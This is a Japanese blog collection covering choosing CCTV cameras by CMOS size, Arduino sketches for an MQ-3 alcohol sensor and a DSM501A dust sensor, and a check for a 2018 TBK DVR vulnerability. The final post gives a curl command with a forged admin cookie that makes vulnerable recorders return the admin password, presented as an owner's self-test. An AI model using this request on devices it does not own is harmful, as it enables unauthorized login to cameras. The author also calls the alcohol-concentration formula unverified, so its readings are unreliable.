防犯カメラの選び方 CMOSの画素数だけに惑わされないために

防犯カメラを選ぶ際に検索してみると、
200万画素はザラで500万画素なんてのもよく見かけるようになりました。

でも、価格はバラバラですよね?
200万画素のほうが何故か500万画素よりも高いものなんてのもよく見かけます。

画質を決定するものにCMOSサイズが重要です。
カメラの詳細を見ると
「1/2.8″ SONY CMOS IMX323」
みたいにcmosの前に分数で1/2.8″というようにサイズが表記してあるものがあります。
これがcmosサイズになります。

※レンズサイズと混同しないようご注意。レンズは2.8mmや3.6mmなどと表示されており混同しやすいです。
わからない場合には販売店に問い合わせて確認しましょう

高級なカメラ、ミラーレスや一眼レフなどでとても高価なものには
cmos 1/1 が使用されている場合もございますが、
価格を安くするために、ここを何分の1かにしてコストを下げているのです

つまり、cmosサイズが大きいほど画質は向上します。
(価格も上がります)
なので、同じ画素数でカメラを探す場合には、cmosサイズが大きいものを選択することを
お勧めします。

今まで、高画質なものを選んできたのに、同じ画素数のはずなのに
なぜか画質がカメラ毎に違うんだろう?
と感じていた場合、
cmosサイズcmosメーカー名を確認してみてください。

防犯カメラにも高画質の波がきており、比較的廉価の部類でもCMOSサイズが
1/1.8〜1/4
の広い範囲で選べるようになってきています。

cmosメーカーも画質に影響します。

sonyが一番価格は高いですが、低照度で赤外線無しでカラー撮影ができたりと
画質にこだわる場合には一番お勧めです

画質よりも価格という場合には、OV(米OmniVision)やAptinaというところでしょうか。

Raspberry Piを触ったことがある方も多いかとおもうのですが、
専用のカメラの表記には800万画素や500万画素となっているのに、
撮影すると思ったより画質がよくない
と思ったことありませんか?

それは、価格を抑えるためにRaspberry Pi用カメラのcmosは
1/4サイズ
だからです。けっこう小さいです。

なので、同じ800万画素と表記されていても一眼レフのほうが
綺麗にとれたりするのはこのためです。
500万画素の防犯カメラのほうが綺麗にとれるということも普通にあると思います。

簡単にご紹介しましたが、防犯カメラを選ぶ際に
CMOSサイズ
CMOSメーカー名
を確認してみましょう。

アルコールセンサー MQ-3 と Arduinoで呼気中と血中アルコール濃度(BAC)測定 スケッチコード付

アルコールセンサー MQ-3 と Arduinoで呼気中と血中のアルコール濃度(BAC:blood alcohol concentration)測定をしてみた。

といってもDatasheetの[Rs/R0]/[mg/L]両対数グラフから近似式を手計算で算出して
変換しただけなので、実際の値とどれくらい近いのかは不明。
参考したURLのページでは、回帰分析しているんですが、いまいちな結果だったので、
今回の手計算で求めた近似式にしてみました。

なので、必ず、ご自分で確認をしてください。

ダイソーで買ってきたアルコールウェトテッシュ近づけると
値を出しましたが、近いかどうか誰か検証したら教えてね。

使用したモジュールはこちらのMQ-3モジュール

まず、キャリブレーションのためにR0値を測定する
スケッチは下記。ここで計算されるR0値はメモっておきましょう。

// キャリブレーションのためにR0を計測する
// MQ-3 Pin1 VCC → Arduino 5V
// MQ-3 Pin2 GND → Arduino GND 
// MQ-3 Pin3 DOUT:アルコール検出でHIGH出力する  → 今回は不使用
// MQ-3 Pin4 AOUT:アルコールレベルのアナログ出力 → Arduino A0
// Wind Abaft Co., Ltd.

void setup()
{
   Serial.begin(9600);
}

void loop()
{
    float sensor_volt;
    float RS; // 空気中のRS値
    float R0; // アルコール中のR0値
    float sensorValue;

    for(int i = 0 ; i < 100 ; i++)
    {
        sensorValue = sensorValue + analogRead(A0);
    }

    sensorValue = sensorValue/100.0;     //平均値の算出
    sensor_volt = (sensorValue/1024)*5.0;  //ArduinoのPWMは10ビット1024
    RS = (5.0-sensor_volt)/sensor_volt; // 省略 RL
    R0 = RS/60.0; // きれいな空気中のRS/R0=60
    Serial.print("R0 = ");
    Serial.println(R0);
    delay(1000);

}

まず呼気中のアルコール濃度を求めるのに、下記グラフから手計算で下記の近似式を作った。
検算していないので間違っているかも。

BAC(呼気中のアルコール濃度[mg/L]) = pow(10,-1*(((log10(ratio))+0.2391)/0.6008))

MQ-3 アルコール濃度両対数グラフ
MQ-3 アルコール濃度両対数グラフ

この式と先ほど求めたR0値をもとに呼気中アルコール濃度算出する。
一般的に,呼気中アルコール濃度[mg/L] : BAC[mg/ml] = 1:2
とのことなので、それを元に2倍してBAC[mg/ml]出した。

先ほどの測定で得た
R0値
を、下記に代入してみてください

// キャリブレーションのために測定したR0の値を利用する
// MQ-3 Pin1 VCC → Arduino 5V
// MQ-3 Pin2 GND → Arduino GND 
// MQ-3 Pin3 DOUT:アルコール検出でHIGH出力する  → 今回は不使用
// MQ-3 Pin4 AOUT:アルコールレベルのアナログ出力 → Arduino A0
// Wind Abaft Co., Ltd. Fumiyoshi.Yotsugi

#include <math.h>
void setup() 
{
    Serial.begin(9600);
}

void loop() 
{
    float sensor_volt;
    float RS_gas; // 測定対象のガス中のRS値
    double ratio; // RS_gas/RS_air 空気中のRS割合
    double BAC;
    int sensorValue = analogRead(A0);
    sensor_volt=(float)sensorValue/1024*5.0;
    RS_gas = (5.0-sensor_volt)/sensor_volt; // 省略 *RL

   /*- "R0" を先ほど計測した値に置き換えてください -*/
    ratio = RS_gas/R0;  // ratio = RS/R0   
    BAC = pow(10,-1*(((log10(ratio))+0.2391)/0.6008));  // mg/L中のBAC
    Serial.print("呼気中BAC[mg/L] = ");
    Serial.println(BAC); // 呼気中のアルコール濃度[mg/L]
    Serial.print("\n");
    Serial.print("血中BAC[mg/ml] = ");
    Serial.println(BAC*2);  // 血液内のアルコール濃度[mg/ml]に変換(1:2)
    Serial.print("\n\n");
    delay(1000);
}

ちなみに本モジュールはアルコールに反応して(アルコール濃度が閾値をこすと)、
D3 Pin (D Out)がhighを出力して、モジュール裏面のチップLEDが点灯します。

上記の私の式だと0.01[mg/L]で、モジュール裏面のチップLEDが点灯してしまうので
敏感すぎるかなーという感じですね。
より更正していく必要がありそうです。

参考:https://www.teachmemicro.com/mq-3-alcohol-sensor/
データシート:https://www.sparkfun.com/datasheets/Sensors/MQ-3.pdf

アルコール濃度の運転技能へ与える影響は下記だそうです。

悪影響を与える運転技能 血中アルコール濃度
(mg/mL)
呼気中アルコール濃度
(mg/L)
注意の集中 0.05 [0.025]
反応時間 0.2 [0.1]
追跡技能 0.2 [0.1]
多方面への注意 0.2 [0.1]
ハンドル操作 0.3 [0.15]
視覚機能(視線の固定が困難) 0.4 [0.2]
規則遵守 0.5 [0.25]

出典元:https://www.asahibeer.co.jp/csr/tekisei/drink_drive/effect.html

ちなみに法定の酒気帯び基準は下記(参照:警察庁
呼気中アルコール濃度0.15[mg/L]以上からアウトだそうです。

酒酔い運転

(「酒酔い」とは、「アルコールの影響により車両等の正常な運転ができない状態」をいう。)

  • 基礎点数35点
    免許取消し 欠格期間3年(※)

酒気帯び運転

  • 呼気中アルコール濃度0.15mg/l 以上 0.25mg/l 未満
    基礎点数13点
    免許停止 期間90日(※)
  • 呼気中アルコール濃度0.25mg/l以上
    基礎点数25点
    免許取消し 欠格期間2年(※)

ダストセンサー DSM501AでPM1.0 と PM2.5 の測定してみた Arduino スケッチコード付

ダストセンサーDSM501AでPM1.0(以上の)粒子数カウントしてみた

PM1.0を計測できるのか?と思いきや
PM1.0以上のサイズの粒子をカウントできるよというもののようだ。

PWM出力されるパルスを30秒間計測して、その中でLOWパルス幅の全体に占める比率から
粒子数を出すというもの。

もちろん、データシートにメーカー側が
「Lowパルス幅の占有率に対する粒子数」
のグラフを用意してくれているので、そのグラフを元に粒子数出してる。
(合っているのか?)

とりあえず、いろんな所で計測してみて、自分でも
この値からは空気が悪そうだというデータをとったほうが良さそうな気もする。

ピン配置は下記で左からPin1~Pin5

Pin1: コントロール(Vout1用のコントロール)
Pin2: Vout2 (PM1.0以上計測用)
Pin3: VCC
Pin4: Vout1  (PM2.5以上計測用)
Pin5: GND

以下が今回使ったArduino用スケッチコード

// DSM501A Pin3 → Arduino 5V
// DSM501A Pin5 → Arduino GND
// PM1.0以上を計測したい場合:DSM501A Pin2 → Arduino D8
// PM2.5以上を計測したい場合:DSM501A Pin4 → Arduino D8
// Wind Abaft Co., Ltd.

#include<string.h>
byte buff[2];
int pin = 8;//DSM501A input D8
unsigned long duration;
unsigned long starttime;
unsigned long endtime;
unsigned long sampletime_ms = 30000; // データシートの計測方法が30秒のため
unsigned long lowpulseoccupancy = 0;
float ratio = 0;
float concentration = 0;
 
int i=0;
void setup()
{
  Serial.begin(9600);
  pinMode(8,INPUT);
  starttime = millis(); 
}
void loop()
{
  duration = pulseIn(pin, LOW);
  lowpulseoccupancy += duration;
  endtime = millis();
  if ((endtime-starttime) > sampletime_ms)
  {
    ratio = (lowpulseoccupancy-endtime+starttime + sampletime_ms)/(sampletime_ms*10.0);  // Integer percentage 0=>100
    concentration = 1.1*pow(ratio,3)-3.8*pow(ratio,2)+520*ratio+0.62; // データシートのグラフ参照
    Serial.print("lowパルス幅(30秒間):");
    Serial.print(lowpulseoccupancy);
    Serial.print("    Lowパルス幅の占有率[%]:");
    Serial.print(ratio);
    Serial.print("    DSM501A計測粒子数[pcs/283ml]:");
    Serial.println(concentration);
    lowpulseoccupancy = 0;
    starttime = millis();
  } 
}

 

IPカメラ、DVR(録画機)の脆弱性(セキュリティ)チェック方法2

TBK DVR4104、 DVR4216という種類のDVRについて2018年4月に報告された脆弱性

このDVRはOEMでいろんな会社のブランド名をつけて売られていて、現段階で有名どころは下記

Novo
CeNova
QSee
Pulnix
XVR 5 in 1 ←日本の会社の名前にリブランド見たことあり
Securus
Night OWL
DVR Login ←日本の会社の名前にリブランド見たことあり
HVR Login
MDVR Login

【脆弱性の確認方法】
まず、Macなどでターミナルを立ち上げる。
Windowsの場合にはteratermなどでOK

下記のコマンドをIPアドレスの箇所とポート番号だけ直して打ち込んでください。
例:192.168.1.10:80 (DVRのIPアドレスを192.168.1.10、公開しているポート番号を80にしている場合)

$> curl "http://192.168.***.***:ポート番号/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

もし、脆弱性のある機器であった場合、上記コマンドを実行するとjsonが返ってきて、
その中に下記のようなadminのパスワードが記載されています。

“uid”:”admin“,”pwd”:”パスワード

パスワードをはいてしまうので、これでシステムにログインが可能になってしまうという脆弱性になります。